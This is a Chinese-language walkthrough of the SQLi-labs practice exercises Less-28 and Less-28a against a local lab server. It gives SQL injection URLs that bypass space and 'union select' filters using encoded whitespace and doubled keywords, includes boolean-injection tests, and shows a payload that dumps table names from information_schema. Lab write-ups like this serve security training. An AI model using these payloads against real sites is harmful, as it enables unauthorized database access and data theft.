Less-28
1.测试http://127.0.0.1/sqli-labs/Less-28/?id=1%27
,页面回显不正常,但又没有错误提示,报错注入没戏,尝试闭合语句,加单引号回显不正常,说明sql
语句闭合至少有'
,可能有)
,判断有无)
在Less-26已经写过,经过验证确实含有'
。
2.尝试使用联合查询注入,构造语句http://127.0.0.1/sqli-labs/Less-28/?id=1%27);union%20select%00
,看回显
空格没有了,说明空格被过滤了,尝试使用特殊字符绕过过滤,经测试如下特殊字符可以替换空格%0a,%0d,%20,%0b,/%0a/
,再来构造http://127.0.0.1/sqli-labs/Less-28/?id=1%27);union%0dselect%0d1,2,3;%00
,看回显
,由前后两次构造的语句和回显提示,说明过滤了union+空格(包括可替代空格的特殊字符)+select
,但是又没过滤单独存在的union
,select
,尝试构造http://127.0.0.1/sqli-labs/Less-28/?id=0')union%0dunion%0dselectselect%0d1,2,3
看是否能回显正常,测试后,结果,联合查询注入存在,查询方法前面已有,搞定。
3.再来看看有没有布尔型注入,构造http://127.0.0.1/sqli-labs/Less-28/?id=1%27)and%271%27=%272%27;%00
,http://127.0.0.1/sqli-labs/Less-28/?id=1%27)and%271%27=%271%27;%00
后一个回显正常,说明存在布尔型注入,脚本在Less-26已经有了,稍微改一下就好了。
Less-28a
过滤很严格,但是还是存在绕过滴,比如http://127.0.0.1/sqli-labs/Less-28a/?id=0%27)union%0Aseunion%0Aselselectectlect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema=%27security%27;%00
,存在联合查询注入,搞定
同样也可以使用脚本进行注入。